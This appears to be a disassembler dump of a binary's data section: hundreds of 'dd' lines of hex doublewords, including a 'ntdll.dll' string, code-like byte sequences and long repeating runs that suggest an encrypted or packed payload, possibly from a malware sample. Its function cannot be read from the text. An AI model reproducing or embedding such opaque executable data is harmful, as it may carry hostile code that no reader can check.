		dd 0C5B2B733h, 13610EA4h, 94E49590h, 7865FBEFh,	8FED6A0Bh
		dd 2436DFD1h, 0F0E68D76h, 63F2736Eh, 5C2D2CC9h,	0BFEBF75Fh
		dd 0C403134h, 67FE6933h, 36BAFED0h, 79067624h, 66BA83D1h
		dd 81EE7C6Ch, 0EAB08BE3h, 22C237Bh, 205982B7h, 0A9097CEBh
		dd 8594CF03h, 94E62354h, 35DA9EF0h, 99E67626h, 6A06B218h
		dd 0D858C8CFh, 33CD58D9h, 0BFD6B2B7h, 3995862Dh, 7626357Fh
		dd 0DA5224Dh, 3B14E18Dh, 93EC790Eh, 0B9892708h,	9E9D4ECCh
		dd 1E6F6202h, 0AD1091h,	36129D3Fh, 251C979h, 0D9580000h
		dd 44EEBAC6h, 0D0772341h, 7BFB97F5h, 0E28E1A66h, 11668DEFh
		dd 0EC8C8D29h, 51332EB0h, 0DBB9B845h, 432124CFh, 0E7A1FD90h
		dd 0F57C7265h, 0F985B053h, 0D25F49EBh, 40C1AEDFh, 0B4017233h
		dd 9BB5C0A1h, 0BEEAB637h, 15A73E35h, 0E71E6B6Eh, 0A5510D26h
		dd 0F6AF3B93h, 70C6C55Ah, 0DC7EB957h, 431BB249h, 76243305h
		dd 33205836h, 0C3AC7624h, 7260F6B1h, 7C6C4067h,	3D38BA56h
		dd 0A70F02AFh, 4F1F6C0Bh, 7C6C4005h, 0FB2D924Ch, 0DBA90300h
		dd 0A5DAh, 0FE854100h, 0F9D56CFBh, 762432BFh, 0AFCC620Dh
		dd 91A451DDh, 4D18A7CEh, 8C5A2BA8h, 76248214h, 6FC033B0h
		dd 527B8529h, 0F0ACCC4Dh, 49077473h, 1921586Eh,	0A8A01857h
		dd 8B25BC2Bh, 1341E9F4h, 7C6D5A4Ah, 2273119Eh, 9DEAF98Eh
		dd 0DDE6B61Ch, 0FAD6A83Fh, 3682B7AAh, 0A642DE49h, 29D5C1A3h
		dd 0C3CE9528h, 7F8129Dh, 15297h, 0D9D85900h, 4045EFBBh
		dd 0F4D37420h, 7978F894h, 0EEE38F1Bh, 28106182h, 0B3EF8D8Ch
		dd 4450302Dh, 0CEDAA6B9h, 91422E25h, 66E8A0FEh,	52F47C72h
		dd 0F8F985B1h, 60670C98h, 0FE856300h, 75FE8AFBh, 81BA127Eh
		dd 0AD2A2DC8h, 1101A63Ah, 6512938Eh, 97E7AE04h,	7C6C4FB2h
		dd 4B2C661Bh, 7A0F02AFh, 0A332CEB2h, 6CFB8DCBh,	0F65C5B7Ch
		dd 962ABDFAh, 1E8A16EDh, 0F2E08D95h, 65027376h,	461667E4h
		dd 7648DF7Dh, 82BB155Eh, 0F752ED8Ah, 0C1129969h, 0BDD04Eh
		dd 4DF40000h, 0F87A1672h, 7C039FFDh, 0EF970361h, 9E1A7612h
		dd 0FDDAF99Bh, 583839C5h, 0CDAFBA4Ch, 375554D1h, 0BFDDD85Bh
		dd 7B3D9124h, 497C7267h, 7EB92CF7h, 0DCB249DCh,	7624329Ch
		dd 2EE74F28h, 7B7E0597h, 65237B0Ah, 73762432h, 0B11FB734h
		dd 7C724D7Bh, 938E10ACh, 65F0BF3Bh, 582934CBh, 2D2CC95Bh
		dd 199AF685h, 81227E1Ah, 7165F582h, 7CFA708h, 85176461h
		dd 0B88F9F8h, 79559847h, 0CB9ED43Fh, 0AE65E28Dh, 5EE50FFCh
		dd 0C66D395Bh, 5EE6B2C3h, 27933243h, 2733B078h,	8BE8999Ch
		dd 62019B0Ah, 6E201267h, 1824C854h, 0F97A16B2h,	81D8DFAh
		dd 88000000h, 0E34B4EF4h, 85DA41C0h, 494E5FCh, 790B787Fh
		dd 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh
		dd 6B397655h, 0B9BFCCC9h, 81E78957h, 4C7h, 4EF8300h, 31243C33h
		dd 3C33243Ch, 89535C24h, 4C381E3h, 83000000h, 1C8704EBh
		dd 3C895C24h, 9056824h,	4890000h, 66685324h, 5B5C1065h
		dd 16EB814Bh, 8955C24Ah, 8B545BDFh, 0C4832404h,	59575104h
		dd 59084889h, 582434FFh, 4C481h, 34FF0000h, 0C4815F24h
		dd 4, 0FA47B8E9h, 0F9DE97FFh, 0F5913D68h, 53B86447h, 3064E36h
		dd 85C650C5h, 6480FF9h,	17256847h, 0B5FFCF38h, 6480ED5h
		dd 38BA858Dh, 0D0FF0648h, 858DD88Bh, 6481CE5h, 1046850h
		dd 0D3FF0000h, 0FF985C6h, 68530648h, 8307F8BFh,	0ED5B5FFh
		dd 858D0648h, 64838BAh,	8589D0FFh, 64E1930h, 202DBD83h
		dd 0F000648h, 0B84h, 4D9D8B00h,	0E906481Ch, 5, 0BBh, 1006800h
		dd 0B58D0000h, 64E1934h, 95FF5356h, 648315Dh, 1934B58Dh
		dd 0F003064Eh, 1E9h, 3E804E00h,	9840F5Ch, 80000000h, 850F2F3Eh
		dd 0FFFFFFEDh, 8D0006C6h, 4E193485h, 95FF5006h,	64E1930h
		dd 3EE0FF58h, 0D826D9F5h, 0F55AF6EBh, 0A82A6934h, 0A01F5050h
		dd 581E9291h, 43CCD41h,	0DD6F5945h, 9327A518h, 0AE7A5A23h
		dd 0A81E64BCh, 730F062Bh, 5E1CA042h, 0AF7E2AECh, 1F0D523Ch
		dd 0CF13A4F9h, 9B69ADF9h, 37257EDDh, 4068771Dh,	8D40813Eh
		dd 4E388A8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 71F4976Ch, 58D8919h, 0F064814h, 85C7DEB7h
		dd 6483025h, 6EFCh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 48C35141h, 0BA66F5B5h, 85C785B1h, 6482AD9h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A1C35343h
		dd 0C2842DE3h, 27654EF3h, 0FF5A5640h, 480D3DB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 6C98F7FDh, 0B70FDF95h, 7195FFFAh, 0FC06480Eh, 95FF006Ah
		dd 648092Dh, 1BEBC08Bh,	21FFE7A4h, 2E0C2833h, 64E8813Ch
		dd 0EB6A2A88h, 66B13023h, 812ECB22h, 0EB8E4FEAh, 0B61B9026h
		dd 8EAFEC33h, 64746E55h, 642E6C6Ch, 88006C6Ch, 34074621h
		dd 0ABA3D25Dh, 256AC3h,	0
		dd 0E9000000h, 6B7h, 4E3A3068h,	4593E906h, 768FFFAh, 0E9064E3Bh
		dd 0FFFA4589h, 4E3BC068h, 457FE906h, 8C68FFFAh,	0E9064E3Ch
		dd 0FFFA4575h, 4E3D4C68h, 456BE906h, 2268FFFAh,	0E9064E3Eh
		dd 0FFFA4561h, 7010EF96h, 0F99B9E24h, 6D0F1AADh, 0D0B0B131h
		dd 5B3938C4h, 0C7635B38h, 54EAA6C2h, 0F27F2B49h, 62019DFFh
		dd 374E0567h, 726C2167h, 8E19AF7Ch, 2A67h, 0EC720E00h
		dd 96E380F1h, 7B3CDAF8h, 0C2E54D22h, 8AFBFE85h,	0E77E75FEh
		dd 93A465B2h, 842A4D9Ah, 7D2A6AE4h, 0D35E7624h,	0B917BCDCh
		dd 7549DC7Eh, 7C6C64D8h, 6332432Ch, 852D2CC9h, 6C638DD7h
		dd 550AC47Ch, 0A93F8873h, 2A841BDBh, 7C6C6F6Eh,	4AF3D7Ah
		dd 9B337001h, 273B3h, 7BD9E800h, 2BBA605Bh, 6C430A53h
		dd 0BD425E7Ch, 0A024D1AEh, 2CDFD4D5h, 1E360E1h,	0E3A5F990h
		dd 0F17C6C9Dh, 87041DA5h, 0AE328AF2h, 1A94217h,	9B310253h
		dd 0EBB18A40h, 0B44BE57Ch, 23A9EFBFh, 4837388Bh, 55FDBACBh
		dd 0D355E607h, 3445223Eh, 0D3AB5F58h, 3A52F295h, 50C74423h
		dd 9E72967Eh, 1285E240h, 92FEF57Eh, 2F927D06h, 91D7A797h
		dd 5F388933h, 5DBB2750h, 0F99BBBF9h, 0DE5FF38Dh, 7519EE51h
		dd 601F503Ah, 4C1F2h, 350CB500h, 0BCB93B57h, 203FC0DCh
		dd 0D5AC5440h, 5A5FDBB7h, 84BC153Eh, 0F9BF9F8h,	900C6C79h
		dd 1A761215h, 65FE9A99h, 6D3C7C52h, 36887C72h, 0E8FE856Dh
		dd 7D3A4B56h, 0CD4A47EFh, 25E7D0BCh, 5431BB2h, 0D3762433h
		dd 0B8BF44D4h, 9104AACBh, 6C46A03Dh, 0B10D647Ch, 7C6C46F7h
		dd 5F3DBAC5h, 9128B51Fh, 6C467B3Dh, 0B03D497Ch,	0C29A30B1h
		dd 0EAC453F9h, 82B456A3h, 98D0AEC7h, 2476244Dh,	0A03EDA5Bh
		dd 0EC2077Fh, 57CE8CB7h, 8D842CC0h, 306ACFCh, 1EB43572h
		dd 0A069DB0h, 710E6915h, 0EF66241Fh, 1242E6BAh,	0EC42E382h
		dd 77199229h, 0DB73BD65h, 7B8F0075h, 453D83A5h,	0C05EFEDh
		dd 54531B45h, 81842FC1h, 90CB7E3h, 1F437B6h, 108E017Ah
		dd 3EAh, 8CECE382h, 0F5979210h,	791B0699h, 0EC8C852Dh
		dd 573534B0h, 0D35F674Ch, 40E6B2DEh, 0CE6B2745h, 76FDA9CBh
		dd 2B421173h, 726E1553h, 8A1DA37Ch, 650FFE85h, 0A1A693A0h
		dd 0BDC8B926h, 29104826h, 65397625h, 76252923h,	9BAF6B1h
		dd 6CF60DC2h, 57FF7CD4h, 871EBC87h, 6D096A37h, 9BF9867Ch
		dd 0F4CB760Ah, 0FC50E687h, 308E19C3h, 82BB3B28h, 0C1A98F4h
		dd 61EE6F7Ah, 26CD5FF6h, 640F8B23h, 4A702E95h, 0CCABD88Dh
		dd 6E6B1C0Ah, 93F17ED1h, 8797C07h, 4E43E37Dh, 19768431h
		dd 0EFD8DD82h, 4B74C86Eh, 11B81681h, 0DD7C72F8h, 60986BD2h
		dd 0F1AE0C51h, 33141h, 0A5BC4500h, 2C29CBC7h, 0D0CF504Ch
		dd 455CE4B0h, 0CACF6B27h, 142C85AEh, 9F0B6968h,	207C1C09h
		dd 0AAE68285h, 0F56E0A09h, 6DCC8CE2h, 46187C72h, 0FBFE85DDh
		dd 0A7F9C28Ah, 1B033DF5h, 0B92CADCDh, 0FE0C4C22h, 0DFD87624h
		dd 0CDC09E77h, 197C6D01h, 8C44F29Eh, 0C3000001h, 5B6480D9h
		dd 54826B1h, 217C6C43h,	0A82CBA46h, 0E071A938h,	0E9A235D7h
		dd 0AB6D1D47h, 953D51h,	0E0A28FAEh, 3BC5BE6Fh, 214779C6h
		dd 0E6813199h, 4DFCC789h, 0B225A2A7h, 0AC28F8DCh, 59354C71h
		dd 699B3B1Fh, 0CAD9AEAAh, 0C5B7DF35h, 8E0F0AA9h, 79FA9601h
		dd 72D8468Eh, 30B1FD2Fh, 5882ECA5h, 10B4D0B6h, 0F1722EBAh
		dd 365E4BF2h, 0A7581F28h, 26537h, 69680900h, 10159F0Bh
		dd 84832470h, 908A8E4h,	0BEB33F6Bh, 0D8E0B1D2h,	633F5D5Ch
		dd 0F4A0C0DDh, 7E2A7649h, 0C192FEF5h, 6E98D0AEh, 82247C72h
		dd 0FBFE8501h, 53F9C28Ah, 46D3EAC4h, 68177C6Ch,	4E66C008h
		dd 6E40D775h, 82B4571Fh, 27B92C4Bh, 70178580h, 0B32D3D95h
		dd 50636D8h, 0C7972EC5h, 5062581h, 3672204Fh, 82050626h
		dd 0C6F14DE5h, 19966B17h, 0F58C1B98h, 0ADDADF5Bh, 0D56866CCh
		dd 110B4E4Fh, 8CB71996h, 774750DDh, 0FECE0D31h,	273F0BFh
		dd 1D71E465h, 5198BB7h,	5E1A740Dh, 6A0506D7h, 87198C0Dh
		dd 0C8980DFCh, 6F2D5DDCh, 6D1682EEh, 0AEC8D796h, 1FE83BDh
		dd 1A591h, 2928C900h, 0D0D55F4Bh, 4443E4B0h, 0C9C86824h
		dd 7E73FFABh, 98A0F112h, 237F1D1Ch, 0B4E0809Dh,	3E6A3609h
		dd 1D2BEB5h, 6F58106Eh,	0C2647C72h, 0FBFE8541h,	53F9C28Ah
		dd 38962DC4h, 76243280h, 0CD8B234Ch, 7C6C4684h,	1B15AB45h
		dd 0B2189984h, 0C9D46A06h, 0B98B2848h, 0B4F4CA7Eh, 0E5762432h
		dd 2432CF89h, 0E6921D76h, 1A93DE6Dh, 0D15E0D8Eh, 502EC550h
		dd 7624BD18h, 0A273DBA4h, 0F0F1710Bh, 7071F183h, 0F57D5BF3h
		dd 0D67C72F5h, 0C8B9A43Ah, 87703ABh, 6560039Dh,	0FEE88B07h
		dd 33097A69h, 0F8144173h, 762657D4h, 46188F4Dh,	82C10BAAh
		dd 0F28E1966h, 7A167271h, 0C38DFAF9h, 0EBC352F8h, 7C6CFB4Ah
		dd 6560029Eh, 57169714h, 0C57703Eh, 0CFE79708h,	0A7000000h
		dd 3561031Eh, 0B2EE8A8Fh, 46523E2Dh, 0D5C1A3BEh, 2B482829h
		dd 0F3F6724Ah, 66630591h, 0ECE38E1Ah, 9493108Ch, 76485FF4h
		dd 7C727132h, 0B97F28BEh, 7549DC7Eh, 7C726BF5h,	40572443h
		dd 74D0404Bh, 6CFC36ECh, 0A868CEC1h, 4441A0Bh, 0D07C7294h
		dd 5E4A56D7h, 0B2F6C8D5h, 3E7C7293h, 4346E371h,	0A9E2B5C2h
		dd 2AF112Ch, 44317E0Fh,	0AB033EC1h, 970F072Dh, 0B2B73D9Fh
		dd 9CDCB2C5h, 289B8F0Ch, 4A55DD4Fh, 8F0D3474h, 66E7809Bh
		dd 403F7109h, 0BD21777Fh, 59C61B06h, 0BC63D892h, 13818020h
		dd 5C3C9297h, 0E4B0D0D7h, 33CD585Fh, 0B3C1BEB3h, 24453237h
		dd 10600FA7h, 65E09190h, 41E236F5h, 0C96A2642h,	30DBDCAh
		dd 8A000000h, 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh
		dd 0F6720E7Fh, 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h
		dd 68B9BFCCh, 3AF1h, 68243489h,	3BE9h, 57240C89h, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 0D5682434h,	89000068h, 97BE2434h
		dd 810D2E2Fh, 4E56F7EEh, 0A1C68138h, 8134F35Eh,	0E83A97F6h
		dd 0D6F74E27h, 0B917EE81h, 0F189CB76h, 348B545Eh, 4C48324h
		dd 8904EC83h, 468F240Ch, 2434FF08h, 4C4835Eh, 592434FFh
		dd 4C481h, 0EAE90000h, 29FFFA3Eh, 0B8D16AB8h, 64E3F16h
		dd 0E0FFC503h, 7FE38037h, 679587F9h, 1D7A327h, 1442A64h
		dd 6F9F0CE9h, 45A72C78h, 3C02F253h, 1A2B3062h, 153DC2DDh
		dd 5C2FE151h, 12D1008Ch, 6D460E53h, 41A70456h, 776D116Ah
		dd 4C78380Fh, 5E2C7076h, 66B7A17Ah, 0A92CEA9h, 1173990Dh
		dd 25645616h, 330C2E95h, 50259941h, 7C82421Eh, 17B8E536h
		dd 1B4853h, 5DC87220h, 3C0A128Bh, 6C0DB54Fh, 40A55F99h
		dd 0DE8h, 0C3BF6100h, 0F28DC2E6h, 40940550h, 0F6061BEh
		dd 28Bh, 66D68B00h, 0C15AEB81h,	0B70F5961h, 14C181DFh
		dd 0BA000070h, 0
		dd 34FFDF8Bh, 81EF800Ah, 0FA8B6658h, 0C410C081h, 0CDBB2168h
		dd 81457923h, 0A0E28BF0h, 0E956500Bh, 12h, 0D9F26BDh, 0A0FAEE3Ch
		dd 0E0B00ABAh, 905FC2F8h, 5E5E1350h, 25DFF081h,	666006C0h
		dd 8166CB8Bh, 61941DE9h, 8C0F5350h, 6, 870Fh, 8F5B0000h
		dd 0BF661104h, 840FCC72h, 7, 85D3BF52h,	835F7C05h, 0DE8B03EAh
		dd 0C7F3814Ah, 81531306h, 0FF90C4FAh, 19850FFFh, 66000000h
		dd 26E9F78Bh, 0B8000000h, 0F9FEC317h, 72BD3148h, 579B2F71h
		dd 12E2B1F4h, 0E9F6BF0Fh, 0FFFFFF5Eh, 0C84ADAE4h, 180D43FBh
		dd 0CF5A4010h, 8EBACh, 0EB000000h, 0E94B841Eh, 48Ah, 4E41EE68h
		dd 3D6FE906h, 5868FFFAh, 0E9064E42h, 0FFFA3D65h, 4E43A068h
		dd 3D5BE906h, 159CFFFAh, 80227E1Ah, 14ABE785h, 0B73F6B09h
		dd 26C2DEBAh, 55224123h, 0A0C0C16Dh, 157752F4h,	9FFDFC79h
		dd 7656003h, 2365394Ch,	0B17C7274h, 0EC80742Fh,	35E54D44h
		dd 831D8889h, 0E1A7F7FCh, 0EF762432h, 35720380h, 0F5871E9Dh
		dd 7B384948h, 3C4D4CE9h, 0B83BD77Fh, 2A712ABDh,	0AC354EF8h
		dd 868325B7h, 862288E9h, 0D84F0D36h, 6D277B86h,	0BBC8B77Ch
		dd 6D16692Bh, 8976E07Ch, 0A9EA649Fh, 2B8BEDBh, 0D9E50000h
		dd 0A7655E76h, 430F5E30h, 5C5B7C6Ch, 0A7DB22BCh, 0E8D379D1h
		dd 6EDBB322h, 0FA7799AAh, 0B780CCBDh, 222C8215h, 0C679D1D2h
		dd 9199DFAFh, 4B277151h, 0AF2CADA8h, 0EC1FA438h, 49902264h
		dd 7E1A9BD1h, 3B828122h, 177299B8h, 0E361118Eh,	6B000002h
		dd 0F995F7CAh, 86127E7Bh, 0A86E2E1h, 99F5976Ah,	577C1C1Dh
		dd 0A7BA467Eh, 2A37C9C5h, 0D0D7524Eh, 585FE4B0h, 0BA14AB38h
		dd 7C7273FEh, 0B99374CAh, 7549DC7Eh, 7C72741Dh,	4441A6Bh
		dd 0D07C7273h, 2DBF56D7h, 14119381h, 0C06C0097h, 5BF3B0C1h
		dd 0D2D7534Fh, 724E15A5h, 0F97A7C72h, 0A14643FAh, 0BF7018EEh
		dd 2790Fh, 5D54DD00h, 0C4C1633Fh, 4857E8A4h, 0FDF47C28h
		dd 6267039Fh, 0AC94FD06h, 37630100h, 0B8D4B491h, 425E3A3Dh
		dd 0DC6A2A1h, 7464247Ah, 0EE707C72h, 0DC7EB935h, 741D7549h
		dd 0C6B7C72h, 72A5EF7Fh, 32AC7C72h, 52A05B4Dh, 0AF7ADBAFh
		dd 53000001h, 933B26B9h, 0FBFE85F0h, 7E75FE8Ah,	0D4AD55E7h
		dd 5070C6A7h, 0A9D3F78h, 56B03E73h, 0F18E8323h,	6F34C7B0h
		dd 8DB01EB4h, 597C6C6Eh, 8835C75Eh, 86071A9Ah, 952288E9h
		dd 6C6D7FC5h, 0CEC3CA7Ch, 0CAFDC7B7h, 3AB41A9Eh, 0EBB86345h
		dd 3762DBA9h, 0B9000000h, 49DC7EB9h, 9F921EB2h,	40109937h
		dd 0D3DC7C6Ch, 33DED3A2h, 0AAC3413Dh, 652FAD05h, 0EC7C6D1Fh
		dd 29628D72h, 89B1E5Dh,	5A72D881h, 0DBA919A1h, 0B77Bh
		dd 0B80A000h, 0B7570521h, 1F9B0997h, 0A60C6D1Ah, 3D4A49EAh
		dd 0B1CEC36Fh, 344540E3h, 2D38CF61h, 6B6E1585h,	37F35F09h
		dd 169D7624h, 0D8809CE7h, 0D9B5C321h, 7625079Fh, 44C5422Dh
		dd 0A16B5424h, 0A9ED5836h, 3E797C6Fh, 7B6915A7h, 1E7AFBFEh
		dd 73F0E682h, 0A74C0C62h, 1F987C6Eh, 0C9EBE59Eh, 0BE672E09h
		dd 2F118E31h, 78370C56h, 131CAh, 859C2500h, 0C09ABE7h
		dd 0B0AF306Ch, 253CC4D0h, 0AAAF4B47h, 0F4CCA5CEh, 7F2B4948h
		dd 9CFCE9h, 8A066265h, 0D58EEAE9h, 75ACECC2h, 0A6387C72h
		dd 0F8F985FDh, 60670C98h, 0D8C55BF5h, 4A3F5672h, 0B9CAE4AEh
		dd 0A30B80h, 8AFBFE85h,	0C4C561FBh, 201A26Eh, 7C2D1666h
		dd 0E372F3F6h, 0E915574Ch, 4D867B23h, 922DF7E5h, 0FCBB7C6Ch
		dd 0AFD9D269h, 1313C562h, 119D7DD5h, 55EB8510h,	0D47A3B48h
		dd 0B75A1AB4h, 0E58E7C6Ch, 9E1382EEh, 0DD1BCADDh, 7077FCB6h
		dd 25B386F3h, 7C006CC1h, 0BBBE3AD6h, 713902Ch, 8BF8797Ch
		dd 603744EAh, 882E21CCh, 7DEAh,	7EB96900h, 0DE5049DCh
		dd 75BC1A6Eh, 9FEFA60Ch, 7C7295C7h, 8B199611h, 7174FEE8h
		dd 2FCB65F0h, 0A8E4842Ah, 0EF7F0C0Bh, 0CA3CED8Ah, 24CCB36Fh
		dd 0A9F8989Fh, 0B94EDF0h, 0FD553C93h, 0AB67961Dh, 8A992E8Ch
		dd 47CBBCFDh, 79FF6DC5h, 0EAE3DA35h, 0D9FEC6Dh,	40E67A65h
		dd 0E6531545h, 661C1A8h, 40950E99h, 7737476h, 37DEDD75h
		dd 971CC4BBh, 1FA4F090h, 3FB6B18h, 58000000h, 0FC85DA41h
		dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h
		dd 0CA6A0677h, 55EA86F7h, 0C96B3976h, 57B9BFCCh, 0C7815F54h
		dd 4, 8704EF83h, 565C243Ch, 0C681E689h,	4, 8704EE83h, 895C2434h
		dd 89512434h, 4C181E1h,	83000000h, 0C8704E9h, 1C895C24h
		dd 0ED685524h, 5D677C78h, 41C4B850h, 0C52912FDh, 3DED8158h
		dd 81301E34h, 12C1D3EDh, 5DEE891Eh, 241C8B54h, 4C481h
		dd 8F560000h, 34FF0843h, 0C4815B24h, 4,	5624348Bh, 0C681E689h
		dd 4, 4C681h, 34870000h, 0F6E95C24h, 0D0FFFA38h, 0A130B393h
		dd 0F6B898C8h, 3064E44h, 0BFE0FFC5h, 495E0271h,	3312545Fh
		dd 0B0071F47h, 0D34D3C42h, 8B7EBF9Ah, 0D0377759h, 0B75CF22Ah
		dd 2C27921Eh, 0E20B67D2h, 3F4537DFh, 0CC559EA0h, 6860E55Ah
		dd 36602475h, 35004F47h, 8C101F2Eh, 776E2134h, 0E065222Ah
		dd 791430DEh, 19740EA0h, 0EA2D231Dh, 0F701C80Eh, 2F17E540h
		dd 0C10D7D91h, 13325A7h, 6900F2DDh, 0C10D07F5h,	0BB6F1015h
		dd 0CD2E1F67h, 0EA1D6247h, 6364706Ah, 0FE3308D4h, 0E854B27Ch
		dd 13h,	2ECFEC20h, 2A7A07Dh, 96A1B64Fh,	0AF4B68A7h, 5ABED582h
		dd 9E8h, 98FB9F00h, 8D7CE9F0h, 8B6620FCh, 0C2815BDEh, 6626h
		dd 80F68166h, 8005B970h, 0E9812A58h, 2A5866B1h,	0C715C3BBh
		dd 0E93A8B66h, 8, 92B9B32Ah, 948E189h, 7C05C781h, 81664150h
		dd 81B90FD8h, 0C7AC84C7h, 0F3EF8078h, 1F5AEF81h, 9E87DE0h
		dd 0CF000000h, 0BC564D06h, 1A016058h, 13E9h, 667A4500h
		dd 63688F65h, 0D9D91DF4h, 967455Dh, 8DCECA12h, 0EE81575Bh
		dd 5A4CF4C0h, 83F9028Fh, 585303EAh, 0AE84Ah, 757E0000h
		dd 0FF08A8ADh, 31684D58h, 5EF78B66h, 0E850F49h,	0B7000000h
		dd 18E929h, 9B790000h, 3892CE09h, 26F1B85Bh, 6EE971E6h
		dd 0DFFFFFFFh, 63D7420Eh, 8D8D6C95h, 64E47C4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 17C35545h, 8D89B63Dh
		dd 6481405h, 8DEE8166h,	2585C7B0h, 0BC064830h, 6A00006Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 92C357h, 0A9712E4h, 0F95B7D6Bh, 2AD985C7h
		dd 648h, 81660000h, 0FF1FFDE2h,	480E25B5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 1FAC89A7h, 6652B162h, 58C578B8h, 0E7195FFh, 6A0648h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 61A9A6C3h, 545ED61Eh, 0BF350E68h, 10186F6Bh,	12898509h
		dd 6A0648h, 92D95FFh, 0C08B0648h, 9DA42BEBh, 501CE31Ah
		dd 43EAAD8Fh, 0F4302032h, 0B2F61E8h, 0AC46D7CFh, 0A643BE92h
		dd 88C2C37Bh, 4AFD7648h, 40521771h, 11B4108Ch, 0A68D8DFCh
		dd 89064E48h, 48181D85h, 58D8906h, 8B064814h, 0DDBD8BC7h
		dd 0C7064829h, 48302585h, 6A9006h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0DE5D28EAh
		dd 599D8927h
		dd 0C706481Bh, 482AD985h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0A62CE19h
		dd 8D89E848h, 648068Dh,	1221B5FFh, 0BD290648h, 64827F1h
		dd 0E7195FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 3DFF93C3h, 95FF006Ah, 648092Dh
		dd 3AEBC08Bh, 9F726BB1h, 4B727FF9h, 0F5ED6889h,	0B3C5FFABh
		dd 615198C2h, 6B1C0C36h, 0F4AA85FFh, 839CE39Ah,	0D734FF54h
		dd 0AB2C715h, 11446338h, 711DDC6Ch, 34AE87C0h, 587185B4h
		dd 0E85368FFh, 565DB13Eh, 2ACF232h, 5655F201h, 56ABB132h
		dd 43D5B132h, 95EAE800h, 5675EB41h, 56BAB132h, 565DB132h
		dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h
		dd 5675B132h, 56BAB132h, 545DB132h, 81AEB132h, 5457B935h
		dd 59ABB632h, 72D5A832h, 56E81E32h, 5677F632h, 4B8F632h
		dd 565DA0DBh, 2DA4C432h, 18140AAh, 0A5C99C76h, 197B9882h
		dd 7A6354EEh, 5675B616h, 6FBA3232h, 0A3716E4Ch,	0EF4E968h
		dd 56515862h, 81FDB132h, 25371CF6h, 0CE91BBA0h,	122267C3h
		dd 0E649D31Fh, 8A121F1Bh, 0CBC50BD7h, 666BE53h,	59F9E160h
		dd 598DEB03h, 56E45803h, 692BB132h, 0DD0E43Eh, 616B60CAh
		dd 856CBC96h, 0E0DE968h, 0CB301BA4h, 68DEB53h, 5103E362h
		dd 4575B132h, 39F4F862h, 6752B44Eh, 56AEB7DBh, 42309732h
		dd 0CA8038Fh, 0E8F276Ah, 0AE0731A5h, 5675B7DBh,	0F28D8732h
		dd 0CB8E733Fh, 45472D53h, 7957B132h, 1DB1740Eh,	7133F01Ah
		dd 9598CCE6h, 49CBC872h, 0BF3B845Eh, 1DAF16Ah, 56AEB7DBh
		dd 52402732h, 0CB1893DFh, 0B91B2153h, 5D3034CEh, 88FED1AFh
		dd 56BAB4DAh, 89238832h, 37F6441Eh, 72133853h, 8720D136h
		dd 56D058AEh, 7843B132h, 0D710EDFDh, 0DAEEF9FAh, 565B5866h
		dd 91A8B132h, 35C5ACC6h, 0BEF3D0AFh, 56D5B121h,	8C6F4DDDh
		dd 0F0745939h, 648725D5h, 2864B1B1h, 595B9DEDh,	370D7E85h
		dd 56ABB16Ah, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h
		dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h
		dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h
		dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h
		dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h
		dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h
		dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h
		dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h
		dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h
		dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h
		dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h
		dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h
		dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h
		dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h
		dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 36EAB132h
		dd 5675B1DAh, 0BC3BEB32h, 5013FA96h, 0CBF634BFh, 0D4DEB77Fh
		dd 50E5F9C8h, 89D333BFh, 0D463B77Ch, 503BF9CCh,	56B3FFDAh
		dd 56265932h, 0D469B132h, 5019F9D8h, 56ABB132h,	0AF507760h
		dd 0ECF93Dh, 0FECDE35Ah, 0FF0F4EAEh, 0DB5BF91Bh, 1DD1D1B7h
		dd 0DF874E34h, 1E817CB7h, 3ED1DB34h, 56EAA132h,	5578F15Ah
		dd 0A9BADB32h, 9656EBE2h, 0D4278246h, 5019F9D8h, 1E4533BBh
		dd 166CB77Ch, 0DDEAB23Fh, 0A5B582CAh, 52D0E398h, 564DB15Ah
		dd 52AED932h, 563DB132h, 7C6623CDh, 0DF8FB77Ah,	18A38FB0h
		dd 0D3FED034h, 50F4F9D8h, 0D49AD1F1h, 50E6A24Fh, 5617B132h
